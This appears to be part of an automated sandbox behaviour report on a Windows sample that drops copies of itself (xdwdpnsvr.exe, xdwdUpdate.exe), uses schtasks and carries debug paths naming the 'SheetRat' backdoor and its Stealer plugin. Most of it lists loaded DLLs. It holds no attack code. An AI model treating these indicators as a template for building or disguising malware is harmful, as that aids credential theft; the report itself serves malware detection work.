                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: devenum.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: winmm.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: ntmarta.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: devobj.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: msasn1.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: msdmo.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: cryptsp.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: rsaenh.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: cryptbase.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: rasapi32.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: rasman.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: rtutils.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: mswsock.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: winhttp.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: iphlpapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: dhcpcsvc6.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: dhcpcsvc.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: dnsapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: winnsi.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: rasadhlp.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: fwpuclnt.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: secur32.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: schannel.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: mskeyprotect.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: ntasn1.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: ncrypt.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: ncryptsslp.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: gpapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: windowscodecs.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: netfxperf.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: pdh.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: wtsapi32.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: bitsperf.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: bitsproxy.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: esentprf.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: perfts.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: winsta.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: utildll.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: tdh.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: samcli.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: netutils.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: msdtcuiu.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: atl.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: msdtcprx.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: mtxclu.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: clusapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: resutils.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: ktmw32.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: wkscli.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: cscapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: msscntrs.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: perfdisk.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: wmiclnt.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: perfnet.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: browcli.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: perfos.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: perfproc.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: sysmain.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: umpdc.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: powrprof.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: rasctrs.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: tapiperf.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: perfctrs.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: usbperf.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: tquery.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: cryptdll.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: dpapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: napinsp.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: pnrpnsp.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: wshbth.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: nlaapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: winrnr.dllJump to behavior
                    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: fastprox.dllJump to behavior
                    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: ncobjapi.dllJump to behavior
                    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dllJump to behavior
                    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dllJump to behavior
                    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: edgegdi.dllJump to behavior
                    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mpclient.dllJump to behavior
                    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: version.dllJump to behavior
                    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wmitomi.dllJump to behavior
                    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mi.dllJump to behavior
                    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: miutils.dllJump to behavior
                    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: userenv.dllJump to behavior
                    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: gpapi.dllJump to behavior
                    Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
                    Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
                    Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
                    Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: mscoree.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: apphelp.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: version.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: edgegdi.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: wbemcomn.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: amsi.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: userenv.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: sxs.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: devenum.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: winmm.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: ntmarta.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: devobj.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: msasn1.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: msdmo.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: secur32.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: propsys.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: twext.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: cscui.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: appresolver.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: bcp47langs.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: slc.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: sppc.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: policymanager.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: msvcp110_win.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: workfoldersshell.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: ntshrui.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: windows.fileexplorer.common.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: iertutil.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: srvcli.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: cscapi.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: netutils.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: shacct.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: idstore.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: twinapi.appcore.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: samlib.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: textshaping.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: wtsapi32.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: wlidprov.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: samcli.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: wininet.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: cryptbase.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: provsvc.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: starttiledata.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: coremessaging.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: usermgrcli.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: usermgrproxy.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: acppage.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: sfc.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: msi.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: aepic.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: cryptsp.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: sfc_os.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: windows.staterepositorycore.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: edputil.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: urlmon.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: mscoree.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: apphelp.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: kernel.appcore.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: version.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: vcruntime140_clr0400.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: edgegdi.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: wbemcomn.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: amsi.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: userenv.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: profapi.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: sxs.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: devenum.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: winmm.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: ntmarta.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: devobj.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: msasn1.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: msdmo.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: windows.storage.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: wldp.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: sspicli.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: secur32.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: mscoree.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: kernel.appcore.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: version.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: vcruntime140_clr0400.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: edgegdi.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: wbemcomn.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: amsi.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: userenv.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: profapi.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: sxs.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: devenum.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: winmm.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: ntmarta.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: devobj.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: msasn1.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: msdmo.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: windows.storage.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: wldp.dll
                    Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dll
                    Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dll
                    Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: mscoree.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: kernel.appcore.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: version.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: vcruntime140_clr0400.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: edgegdi.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: wbemcomn.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: amsi.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: userenv.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: profapi.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: sxs.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: devenum.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: winmm.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: ntmarta.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: devobj.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: msasn1.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: msdmo.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: windows.storage.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: wldp.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: sspicli.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: secur32.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: mscoree.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: kernel.appcore.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: version.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: vcruntime140_clr0400.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: edgegdi.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: wbemcomn.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: amsi.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: userenv.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: profapi.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: sxs.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: devenum.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: winmm.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: ntmarta.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: devobj.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: msasn1.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: msdmo.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: windows.storage.dll
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeSection loaded: wldp.dll
                    Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dll
                    Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dll
                    Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: mscoree.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: kernel.appcore.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: version.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: vcruntime140_clr0400.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: edgegdi.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: wbemcomn.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: amsi.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: userenv.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: profapi.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: sxs.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: devenum.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: winmm.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: ntmarta.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: devobj.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: msasn1.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: msdmo.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: windows.storage.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: wldp.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: sspicli.dll
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeSection loaded: secur32.dll
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32Jump to behavior
                    Source: CVmkXJ7e0a.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
                    Source: CVmkXJ7e0a.exeStatic PE information: Virtual size of .text is bigger than: 0x100000
                    Source: CVmkXJ7e0a.exeStatic file information: File size 1070080 > 1048576
                    Source: CVmkXJ7e0a.exeStatic PE information: Raw size of .text is bigger than: 0x100000 < 0x104800
                    Source: CVmkXJ7e0a.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                    Source: Binary string: C:\Users\Malware\Desktop\hack tool\Backdoor\Sheet rat v 2.2\Src\SheetRat\bin\Release\Plugins\Stealer.pdb source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012BFB000.00000004.00000800.00020000.00000000.sdmp, CVmkXJ7e0a.exe, 00000000.00000002.3684881452.000000001CF10000.00000004.08000000.00040000.00000000.sdmp
                    Source: Binary string: C:\Users\Malware\Desktop\hack tool\Backdoor\SheetRat\SheetRat\bin\Release\Stub\UserMode.pdb source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012BD1000.00000004.00000800.00020000.00000000.sdmp

                    Data Obfuscation

                    barindex
                    .NET source code contains potential unpacker
                    Source: CVmkXJ7e0a.exe, IgIWsrqHbBFTbcX.cs.Net Code: FLteplLVvCYzU
                    Source: CVmkXJ7e0a.exeStatic PE information: 0xF5FE416F [Wed Oct 13 03:20:15 2100 UTC]
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeCode function: 0_2_00007FFE6F7D00BD pushad ; iretd 0_2_00007FFE6F7D00C1
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeCode function: 15_2_00007FFE6F7E00BD pushad ; iretd 15_2_00007FFE6F7E00C1
